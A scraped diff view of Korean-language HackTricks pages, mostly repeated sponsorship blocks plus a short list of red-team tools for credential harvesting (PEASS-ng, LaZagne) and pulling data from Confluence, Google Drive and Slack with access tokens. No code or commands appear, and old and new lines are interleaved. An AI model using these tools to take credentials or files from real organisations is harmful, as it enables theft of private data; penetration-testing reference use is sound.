||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**DNS에 대한 공격에 대해 더 알아보세요**
|
||||
**DNS 공격에 대해 더 많이 연구해보세요**
|
||||
|
||||
**DNSSEC 및 DNSSEC3**
|
||||
|
||||
**IPv6에서의 DNS**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,45 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## **로컬 l00t**
|
||||
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): 이 스크립트는 PE 벡터를 찾는 것 외에도 파일 시스템 내에서 민감한 정보를 찾습니다.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne 프로젝트**는 로컬 컴퓨터에 저장된 다양한 소프트웨어의 비밀번호를 찾기 위해 개발된 오픈 소스 애플리케이션입니다. 각 소프트웨어는 다른 기술(평문, API, 사용자 정의 알고리즘, 데이터베이스 등)을 사용하여 비밀번호를 저장합니다. 이 도구는 가장 일반적으로 사용되는 소프트웨어의 비밀번호를 찾기 위해 개발되었습니다.
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): 이 스크립트들은 PE 벡터를 찾는 것 외에도 파일 시스템 내부에서 민감한 정보를 찾습니다.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne 프로젝트**는 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 응용 프로그램입니다. 각 소프트웨어는 다양한 기술(평문, API, 사용자 정의 알고리즘, 데이터베이스 등)을 사용하여 비밀번호를 저장합니다. 이 도구는 가장 일반적으로 사용되는 소프트웨어의 비밀번호를 찾기 위해 개발되었습니다.
|
||||
|
||||
## **외부 서비스**
|
||||
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): 이 모듈은 액세스 토큰을 사용하여 Confluence의 API에 연결하고, PDF로 내보내고, 대상이 액세스할 수 있는 Confluence 문서를 다운로드합니다.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): 공격자가 액세스할 수 있는 대상의 Google Drive에서 파일을 탈취하는 레드 팀 도구입니다. 이는 모든 공유 파일, 공유 드라이브의 모든 파일 및 대상이 액세스할 수 있는 도메인 드라이브의 모든 파일을 포함합니다.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): 공격자가 액세스할 수 있는 대상 조직의 Google People Directory를 탈취하는 레드 팀 도구입니다. 이는 Google의 People API를 통해 수행됩니다.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate): 이 도구는 Python으로 개발된 것으로, 액세스 토큰을 사용하여 Slack 워크스페이스에서 '흥미로운' 정보를 추출합니다.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound는 레드 팀과 블루 팀이 Slack 워크스페이스/조직의 탐색을 빠르게 수행할 수 있는 명령 줄 도구입니다. Slackhound는 조직의 사용자, 파일, 메시지 등을 빠르게 검색 가능하며, 대형 객체는 오프라인 검토를 위해 CSV로 작성됩니다.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): 이 모듈은 액세스 토큰을 사용하여 Confluence의 API에 연결하고 PDF로 내보내고 대상이 액세스하는 Confluence 문서를 다운로드합니다.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): 공격자가 액세스하는 대상의 Google 드라이브에서 파일을 유출하는 레드팀 도구로 Google 드라이브 API를 통해 모든 공유 파일, 공유 드라이브의 모든 파일 및 대상이 액세스하는 도메인 드라이브의 모든 파일을 포함합니다.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Google의 People API를 통해 액세스하는 대상 조직의 Google People Directory를 유출하는 레드팀 도구입니다.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** 이 도구는 네이티브 Slack API를 사용하여 Slack 워크스페이스에서 '흥미로운' 정보를 추출하는 데 사용됩니다.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager): Slackhound는 레드팀 및 블루팀이 Slack 워크스페이스/조직의 탐색을 빠르게 수행할 수 있도록 하는 명령 줄 도구입니다. Slackhound는 조직의 사용자, 파일, 메시지 등을 빠르게 검색 가능하게 하며 대형 객체는 오프라인 검토를 위해 CSV로 작성됩니다.
|
||||
|
|
Loading…
Reference in a new issue